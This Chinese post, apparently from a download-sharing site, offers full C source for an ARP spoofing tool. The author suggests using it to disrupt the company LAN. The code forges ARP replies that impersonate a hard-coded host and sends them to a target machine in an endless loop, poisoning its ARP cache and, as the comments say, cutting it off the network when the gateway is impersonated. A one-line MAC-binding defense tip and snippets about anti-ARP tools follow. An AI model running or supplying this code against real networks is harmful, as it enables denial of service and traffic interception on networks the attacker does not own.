由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
void die(char *str) {
fprintf(stderr,"%s\n", str);
exit(1);
}
typedef struct {
//以太网首部
u_char targ_hw_addr[6]; //广播mac地址
u_char src_hw_addr[6]; //源mac地址
u_short frame_type; //帧类型
//28字节arp请求 应答
u_short hw_type; //硬件类型
u_short prot_type; //协议类型
u_char hw_addr_size; //硬件地址长度
u_char prot_addr_size; //协议地址长度
u_short op; //操作类型
u_char sndr_hw_addr[6]; //发送端源mac地址
u_char sndr_ip_addr[4]; //发送端源ip地址
u_char rcpt_hw_addr[6]; //目的mac地址
u_char rcpt_ip_addr[4]; //目的ip地址
u_char padding[18];
} ARP_PACKET;
ARP_PACKET createPacket(char bro_hw[]) {
int size, j;
ARP_PACKET arppacket;
size = 42;
bzero(&arppacket, size);
//dec_hw 发给攻击目标的 ip mac 映射 被攻击者的arp映射表会被改掉 如果这个ip是被攻击者网关他就上不了网了
//xp下执行 例如: arp -s 192.168.0.4 00-14-78-81-47-7f 就可以绑定mac地址了。
char dec_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char dec_ip[] = { 0xc0, 0xa8, 0x00, 0x04 };//192.168.0.4
//src_hw 假冒这个人 ip mac
char src_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char src_ip[] = { 0xc0, 0xa8, 0x00, 0x04 }; //192.168.0.4
arppacket.op = htons(0x0002); //操作类型 OP_ARP_QUEST 1 OP_ARP_REQUEST 2
//----------------------------------------------------
//以太网首部
printf("1.广播mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.targ_hw_addr[j] = bro_hw[j];
}
printf("2.源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.src_hw_addr[j] = src_hw[j];
}
printf("3.帧类型 ARP_FRAME_TYPE\r\n");
arppacket.frame_type = htons(0x0806);
//----------------------------------------------------
//28字节
printf("4.arp请求 应答\r\n");
arppacket.hw_type = htons(0x0001); //硬件类型
arppacket.prot_type = htons(0x0800); //协议类型
arppacket.hw_addr_size = 6; //硬件地址长度
arppacket.prot_addr_size = 4; //协议地址长度
printf("发送端源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.sndr_hw_addr[j] = src_hw[j];
}
printf("目的mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.rcpt_hw_addr[j] = dec_hw[j];
}
printf("发送端源ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.sndr_ip_addr[j] = src_ip[j];
}
printf("目的ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.rcpt_ip_addr[j] = dec_ip[j];
}
printf("padding\r\n");
bzero(arppacket.padding, 18);
printf("start send\r\n");
return arppacket;
}
int main(int argc, char * argv[]) {
int sock, size, bytes_send;
struct sockaddr sin;
strcpy(sin.sa_data, "eth2");
//bro_hw 攻击目标的mac地址
// char bro_hw[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//所有
char bro_hw[] = { 0x00, 0x1D, 0x7D, 0xC9, 0x28, 0x31 };//
ARP_PACKET arppacket = createPacket(bro_hw);
// ARP_PACKET arppacket2 = createPacket(bro_hw2);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0) {
printf("create socket error!\r\n");
exit(1);
} else {
printf("create socket!\r\n");
}
while (1) {
bytes_send = sendto(sock, &arppacket, sizeof(arppacket), 0, &sin, sizeof(sin));
// bytes_send = sendto(sock, &arppacket2, sizeof(arppacket2), 0, &sin, sizeof(sin));
sleep(1);
}
printf("end send\r\n");
return 0;
}
防止arp攻击,绑定mac
在xp下用命令:arp -s 192.168.0.4 00-14-78-81-47-7f就可以绑定mac地址了。
分享到:
相关推荐
"反arp攻击软件"是针对这种攻击类型设计的专业工具,它的主要功能是保护用户的网络连接免受ARP欺骗的影响。这类软件通常具备以下特点: 1. 实时监控:软件会持续监控局域网内的ARP流量,一旦发现异常的ARP请求或...
预防ARP攻击教程 帮助大家预防ARP攻击 简单有效
西山煤电集团公司企业OA系统已经进入了试运行阶段,在近半年的试运行过程中,企业OA系统有效...介绍了ARP攻击欺骗的原理以及一些实用性较强且操作简单的检测和抵御攻击的有效方法,以解决因ARP攻击而引发的网络安全问题。
arp攻击简介及简易防护办法 基本能解决校园网内部网路限制的问题
### SNMP工具追踪ARP攻击者:深入解析与应用 在当今高度依赖网络的环境中,网络安全性变得尤为重要。其中,ARP欺骗是一种常见的局域网攻击手段,它通过篡改ARP缓存表,使网络流量被重定向至攻击者的机器,从而实现...
描述中提到“一个应用简单的反arp攻击的绿色安全软件”,这意味着这个软件设计简洁,易于使用,并且对系统资源占用少,可能是便携式的,不会在用户的计算机上留下任何痕迹。绿色软件通常意味着它是无广告、无病毒、...
原来我实现的时候都写了一大堆,今天想到了最简单实现的方法,分享给大家
ARP 协议详解与攻击原理 ARP 协议是以太网设备中用于解析 IP 地址与 MAC 地址的对应关系的协议。它的工作原理是将 IP 地址与 MAC 地址对应起来,以使 IP 数据包能够正确地传输到目标设备。 ARP 协议的工作原理可以...
局域网用来防止arp攻击的 很有效 站用资源很小 使用很简单
"ArpLK"这款工具简单易用,提供了一个方便的方式来实现IP和MAC的绑定,降低了普通用户面对ARP攻击的难度。通过"软件说明.url"链接,用户可以获得详细的使用指南和操作步骤,确保能有效抵御ARP攻击。此外,ArpLK还...
自己做的,VB VC 通过winpcap抓包,检测ARP攻击 及其简单。
近来局域网里,流行着ARP攻击,本人深受其害,故在此推荐从网上找来的七种简易方法,助你抵御ARP欺骗攻击。
arp攻及技术包含了MAC-欺骗等技术,虽然较为简单,却是网络管理员必须掌握与解决的问题,在本文中给出了详细的描述
这样一台机器可以发布虚假的ARP报文并将所有通信都转向它自己,然后它就可以扮演某些机器,或者顺便对数据流进行简单的修改。 ARP机制常常是自动起作用的。在特别安全的网络上,ARP映射可以用固件,并且具有自动...
在给定的“MAC地址绑定工具(防ARP攻击工具) 免费版”中,我们可以预期它包含以下功能: 1. **ARP监控**:实时监测网络中的ARP流量,检测并报警异常的ARP请求和响应。 2. **ARP绑定设置**:允许用户手动输入或批量...
使用CAIN进行简单的ARP和DNS欺骗攻击.doc
ARP攻击通常涉及欺骗,攻击者通过发送伪造的ARP响应,将自己设置为网络上的中间人,导致数据流量被拦截或篡改。常见的ARP攻击类型有ARP poisoning(ARP欺骗)和ARP cache poisoning(ARP缓存中毒)。`arpAttck.py`...
本文旨在探讨ARP攻击的含义、特点、危害,并提出相应的防御策略,以期对未来计算机行业的健康发展提供专业指导和参考。 首先,ARP攻击是一种通过解析地址获取并篡改局域网络数据信息,致使计算机系统无法正常连接或...
本文主要探讨了ARP攻击在计算机网络中的防范策略。ARP(Address Resolution Protocol)攻击是一种针对局域网的网络安全威胁,它利用ARP协议的缺陷,通过伪造IP地址和MAC地址,造成网络通信混乱,可能导致数据丢失、...
用户只需按照"简单说明.txt"的指示进行操作,就能有效地保护自己的网络不受ARP攻击的威胁。同时,"arpspoof.3.1"的使用可能需要一些基本的网络知识,但其简单的命令行操作方式降低了使用难度。通过结合这两个文件,...